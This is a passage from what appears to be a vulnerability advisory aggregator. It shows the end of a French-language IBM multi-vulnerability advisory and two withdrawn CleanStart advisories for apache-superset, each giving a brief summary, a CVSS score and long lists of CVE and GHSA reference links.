      "description": "D\u00e9ni de service \u00e0 distance"
    },
    {
      "description": "Injection de code indirecte \u00e0 distance (XSS)"
    },
    {
      "description": "Injection de requ\u00eates ill\u00e9gitimes par rebond (CSRF)"
    },
    {
      "description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
    },
    {
      "description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
    },
    {
      "description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
    },
    {
      "description": "Falsification de requ\u00eates c\u00f4t\u00e9 serveur (SSRF)"
    },
    {
      "description": "Contournement de la politique de s\u00e9curit\u00e9"
    },
    {
      "description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
    },
    {
      "description": "\u00c9l\u00e9vation de privil\u00e8ges"
    }
  ],
  "summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits IBM. Certaines d\u0027entre elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance, une \u00e9l\u00e9vation de privil\u00e8ges et un d\u00e9ni de service \u00e0 distance.",
  "title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits IBM",
  "vendor_advisories": [
    {
      "published_at": "2026-09-09",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7286777",
      "url": "https://www.ibm.com/support/pages/node/7286777"
    },
    {
      "published_at": "2026-09-09",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7286776",
      "url": "https://www.ibm.com/support/pages/node/7286776"
    },
    {
      "published_at": "2026-09-10",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7286990",
      "url": "https://www.ibm.com/support/pages/node/7286990"
    },
    {
      "published_at": "2026-09-10",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7286976",
      "url": "https://www.ibm.com/support/pages/node/7286976"
    },
    {
      "published_at": "2026-09-10",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7286993",
      "url": "https://www.ibm.com/support/pages/node/7286993"
    },
    {
      "published_at": "2026-09-09",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7286782",
      "url": "https://www.ibm.com/support/pages/node/7286782"
    },
    {
      "published_at": "2026-09-07",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7286515",
      "url": "https://www.ibm.com/support/pages/node/7286515"
    },
    {
      "published_at": "2026-09-10",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7286646",
      "url": "https://www.ibm.com/support/pages/node/7286646"
    },
    {
      "published_at": "2026-09-11",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7287136",
      "url": "https://www.ibm.com/support/pages/node/7287136"
    },
    {
      "published_at": "2026-09-10",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7286986",
      "url": "https://www.ibm.com/support/pages/node/7286986"
    },
    {
      "published_at": "2026-09-10",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7286982",
      "url": "https://www.ibm.com/support/pages/node/7286982"
    },
    {
      "published_at": "2026-09-09",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7286775",
      "url": "https://www.ibm.com/support/pages/node/7286775"
    },
    {
      "published_at": "2026-09-10",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7286987",
      "url": "https://www.ibm.com/support/pages/node/7286987"
    },
    {
      "published_at": "2026-09-09",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7286910",
      "url": "https://www.ibm.com/support/pages/node/7286910"
    },
    {
      "published_at": "2026-09-07",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7286516",
      "url": "https://www.ibm.com/support/pages/node/7286516"
    },
    {
      "published_at": "2026-09-09",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7286909",
      "url": "https://www.ibm.com/support/pages/node/7286909"
    }
  ]
}

CLEANSTART-2026-EC11110 (CVE-2026-13149)

Vulnerability from cleanstart – Published: 2026-09-15 01:21 – Updated: 2026-09-18 11:59 – Source website

Withdrawn 2026-09-18

Summary

undici's retry interceptor can append the body of a ranged retry response to bytes already delivered from an earlier partial response while still presenting the original response's status and headers

Details

Multiple security vulnerabilities affect the apache-superset package. undici's retry interceptor can append the body of a ranged retry response to bytes already delivered from an earlier partial response while still presenting the original response's status and headers. See references for individual vulnerability details.

Severity

9.8 (Critical)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

URL

Type

	https://github.com/cleanstart-dev/cleanstart-secu…	ADVISORY
	https://osv.dev/vulnerability/CVE-2026-13149	WEB
	https://osv.dev/vulnerability/CVE-2026-18540	WEB
	https://osv.dev/vulnerability/CVE-2026-19534	WEB
	https://osv.dev/vulnerability/CVE-2026-25990	WEB
	https://osv.dev/vulnerability/CVE-2026-34180	WEB
	https://osv.dev/vulnerability/CVE-2026-40192	WEB
	https://osv.dev/vulnerability/CVE-2026-42308	WEB
	https://osv.dev/vulnerability/CVE-2026-42309	WEB
	https://osv.dev/vulnerability/CVE-2026-42310	WEB
	https://osv.dev/vulnerability/CVE-2026-42311	WEB
	https://osv.dev/vulnerability/CVE-2026-44405	WEB
	https://osv.dev/vulnerability/CVE-2026-45409	WEB
	https://osv.dev/vulnerability/CVE-2026-48522	WEB
	https://osv.dev/vulnerability/CVE-2026-48524	WEB
	https://osv.dev/vulnerability/CVE-2026-48525	WEB
	https://osv.dev/vulnerability/CVE-2026-48526	WEB
	https://osv.dev/vulnerability/CVE-2026-54284	WEB
	https://osv.dev/vulnerability/CVE-2026-57585	WEB
	https://osv.dev/vulnerability/CVE-2026-59884	WEB
	https://osv.dev/vulnerability/CVE-2026-59885	WEB
	https://osv.dev/vulnerability/CVE-2026-59886	WEB
	https://osv.dev/vulnerability/CVE-2026-59890	WEB
	https://osv.dev/vulnerability/CVE-2026-59893	WEB
	https://osv.dev/vulnerability/CVE-2026-59894	WEB
	https://osv.dev/vulnerability/CVE-2026-69247	WEB
	https://osv.dev/vulnerability/CVE-2026-71491	WEB
	https://osv.dev/vulnerability/CVE-2026-7246	WEB
	https://osv.dev/vulnerability/CVE-2026-84305	WEB
	https://osv.dev/vulnerability/CVE-2026-85024	WEB
	https://osv.dev/vulnerability/ghsa-537c-gmf6-5ccf	WEB
	https://osv.dev/vulnerability/ghsa-5xmw-vc9v-4wf2	WEB
	https://osv.dev/vulnerability/ghsa-65pc-fj4g-8rjx	WEB
	https://osv.dev/vulnerability/ghsa-6v7p-g79w-8964	WEB
	https://osv.dev/vulnerability/ghsa-cfh3-3jmp-rvhc	WEB
	https://osv.dev/vulnerability/ghsa-pwv6-vv43-88gr	WEB
	https://osv.dev/vulnerability/ghsa-r73j-pqj5-w3x7	WEB
	https://osv.dev/vulnerability/ghsa-whj4-6x5x-4v2j	WEB
	https://osv.dev/vulnerability/ghsa-wjx4-4jcj-g98j	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-13149	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-18540	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-19534	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-25990	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-34180	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-40192	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-42308	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-42309	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-42310	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-42311	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-44405	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-45409	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-48522	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-48524	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-48525	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-48526	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-54284	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-57585	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-59884	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-59885	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-59886	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-59890	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-59893	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-59894	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-69247	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-71491	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-7246	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-84305	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-85024	WEB

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "apache-superset"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.0-r7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "Multiple security vulnerabilities affect the apache-superset package. undici\u0027s retry interceptor can append the body of a ranged retry response to bytes already delivered from an earlier partial response while still presenting the original response\u0027s status and headers. See references for individual vulnerability details.",
  "id": "CLEANSTART-2026-EC11110",
  "modified": "2026-09-18T11:59:01.768079Z",
  "published": "2026-09-15T01:21:13.491530Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-EC11110.json"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-13149"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-18540"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-19534"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-25990"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-34180"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-40192"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-42308"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-42309"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-42310"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-42311"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-44405"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-45409"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-48522"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-48524"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-48525"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-48526"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-54284"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-57585"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-59884"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-59885"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-59886"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-59890"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-59893"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-59894"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-69247"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-71491"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-7246"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-84305"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-85024"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-537c-gmf6-5ccf"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-5xmw-vc9v-4wf2"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-65pc-fj4g-8rjx"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-6v7p-g79w-8964"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-cfh3-3jmp-rvhc"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-pwv6-vv43-88gr"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-r73j-pqj5-w3x7"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-whj4-6x5x-4v2j"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-wjx4-4jcj-g98j"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13149"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18540"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19534"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25990"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34180"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40192"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42308"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42309"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42310"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42311"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44405"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45409"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48524"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48525"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48526"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54284"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57585"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59884"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59885"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59886"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59890"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59893"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59894"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69247"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71491"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7246"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84305"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85024"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "undici\u0027s retry interceptor can append the body of a ranged retry response to bytes already delivered from an earlier partial response while still presenting the original response\u0027s status and headers",
  "upstream": [
    "CVE-2026-13149",
    "CVE-2026-18540",
    "CVE-2026-19534",
    "CVE-2026-25990",
    "CVE-2026-34180",
    "CVE-2026-40192",
    "CVE-2026-42308",
    "CVE-2026-42309",
    "CVE-2026-42310",
    "CVE-2026-42311",
    "CVE-2026-44405",
    "CVE-2026-45409",
    "CVE-2026-48522",
    "CVE-2026-48524",
    "CVE-2026-48525",
    "CVE-2026-48526",
    "CVE-2026-54284",
    "CVE-2026-57585",
    "CVE-2026-59884",
    "CVE-2026-59885",
    "CVE-2026-59886",
    "CVE-2026-59890",
    "CVE-2026-59893",
    "CVE-2026-59894",
    "CVE-2026-69247",
    "CVE-2026-71491",
    "CVE-2026-7246",
    "CVE-2026-84305",
    "CVE-2026-85024",
    "ghsa-537c-gmf6-5ccf",
    "ghsa-5xmw-vc9v-4wf2",
    "ghsa-65pc-fj4g-8rjx",
    "ghsa-6v7p-g79w-8964",
    "ghsa-cfh3-3jmp-rvhc",
    "ghsa-pwv6-vv43-88gr",
    "ghsa-r73j-pqj5-w3x7",
    "ghsa-whj4-6x5x-4v2j",
    "ghsa-wjx4-4jcj-g98j"
  ],
  "withdrawn": "2026-09-18T11:59:01.768079Z"
}

CLEANSTART-2026-MQ51708 (CVE-2026-27205)

Vulnerability from cleanstart – Published: 2026-09-10 02:15 – Updated: 2026-09-18 11:59 – Source website

Withdrawn 2026-09-18

Summary

sqlparse is a non-validating SQL parser module for Python

Details

Multiple security vulnerabilities affect the apache-superset package. sqlparse is a non-validating SQL parser module for Python. See references for individual vulnerability details.

Severity

9.8 (Critical)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

URL

Type

	https://github.com/cleanstart-dev/cleanstart-secu…	ADVISORY
	https://osv.dev/vulnerability/CVE-2026-27205	WEB
	https://osv.dev/vulnerability/CVE-2026-28684	WEB
	https://osv.dev/vulnerability/CVE-2026-34180	WEB
	https://osv.dev/vulnerability/CVE-2026-41205	WEB
	https://osv.dev/vulnerability/CVE-2026-44307	WEB
	https://osv.dev/vulnerability/CVE-2026-44405	WEB
	https://osv.dev/vulnerability/CVE-2026-44431	WEB
	https://osv.dev/vulnerability/CVE-2026-44432	WEB
	https://osv.dev/vulnerability/CVE-2026-4539	WEB
	https://osv.dev/vulnerability/CVE-2026-45409	WEB
	https://osv.dev/vulnerability/CVE-2026-48522	WEB
	https://osv.dev/vulnerability/CVE-2026-48524	WEB
	https://osv.dev/vulnerability/CVE-2026-48525	WEB
	https://osv.dev/vulnerability/CVE-2026-48526	WEB
	https://osv.dev/vulnerability/CVE-2026-54284	WEB
	https://osv.dev/vulnerability/CVE-2026-57585	WEB
	https://osv.dev/vulnerability/CVE-2026-59884	WEB
	https://osv.dev/vulnerability/CVE-2026-59885	WEB
	https://osv.dev/vulnerability/CVE-2026-59886	WEB
	https://osv.dev/vulnerability/CVE-2026-59890	WEB
	https://osv.dev/vulnerability/CVE-2026-59893	WEB
	https://osv.dev/vulnerability/CVE-2026-59894	WEB
	https://osv.dev/vulnerability/CVE-2026-69247	WEB
	https://osv.dev/vulnerability/CVE-2026-71491	WEB
	https://osv.dev/vulnerability/CVE-2026-7246	WEB
	https://osv.dev/vulnerability/ghsa-2h4p-vjrc-8xpq	WEB
	https://osv.dev/vulnerability/ghsa-5239-wwwm-4pmq	WEB
	https://osv.dev/vulnerability/ghsa-537c-gmf6-5ccf	WEB
	https://osv.dev/vulnerability/ghsa-65pc-fj4g-8rjx	WEB
	https://osv.dev/vulnerability/ghsa-68rp-wp8r-4726	WEB
	https://osv.dev/vulnerability/ghsa-6v7p-g79w-8964	WEB
	https://osv.dev/vulnerability/ghsa-mf9v-mfxr-j63j	WEB
	https://osv.dev/vulnerability/ghsa-mf9w-mj56-hr94	WEB
	https://osv.dev/vulnerability/ghsa-qccp-gfcp-xxvc	WEB
	https://osv.dev/vulnerability/ghsa-v92g-xgxw-vvmm	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-27205	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-28684	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-34180	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-41205	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-44307	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-44405	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-44431	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-44432	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-4539	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-45409	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-48522	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-48524	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-48525	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-48526	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-54284	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-57585	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-59884	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-59885	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-59886	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-59890	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-59893	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-59894	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-69247	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-71491	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-7246	WEB

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "apache-superset"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.0-r9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "Multiple security vulnerabilities affect the apache-superset package. sqlparse is a non-validating SQL parser module for Python. See references for individual vulnerability details.",
  "id": "CLEANSTART-2026-MQ51708",
  "modified": "2026-09-18T11:59:01.768079Z",
  "published": "2026-09-10T02:15:42.123416Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-MQ51708.json"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-27205"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-28684"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-34180"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-41205"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-44307"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-44405"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-44431"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-44432"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-4539"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-45409"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-48522"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-48524"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-48525"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-48526"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-54284"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-57585"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-59884"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-59885"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-59886"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-59890"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-59893"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-59894"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-69247"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-71491"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-7246"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-2h4p-vjrc-8xpq"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-5239-wwwm-4pmq"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-537c-gmf6-5ccf"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-65pc-fj4g-8rjx"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-68rp-wp8r-4726"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-6v7p-g79w-8964"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-mf9v-mfxr-j63j"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-mf9w-mj56-hr94"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-qccp-gfcp-xxvc"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-v92g-xgxw-vvmm"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27205"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28684"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34180"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41205"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44307"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44405"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44431"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44432"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4539"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45409"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48524"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48525"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48526"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54284"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57585"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59884"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59885"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59886"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59890"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59893"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59894"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69247"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71491"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7246"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "sqlparse is a non-validating SQL parser module for Python",
  "upstream": [
    "CVE-2026-27205",
    "CVE-2026-28684",
    "CVE-2026-34180",
    "CVE-2026-41205",
    "CVE-2026-44307",
    "CVE-2026-44405",
    "CVE-2026-44431",
    "CVE-2026-44432",
    "CVE-2026-4539",
    "CVE-2026-45409",
    "CVE-2026-48522",
    "CVE-2026-48524",
    "CVE-2026-48525",
    "CVE-2026-48526",
    "CVE-2026-54284",
    "CVE-2026-57585",
    "CVE-2026-59884",
    "CVE-2026-59885",
    "CVE-2026-59886",
    "CVE-2026-59890",
    "CVE-2026-59893",
    "CVE-2026-59894",
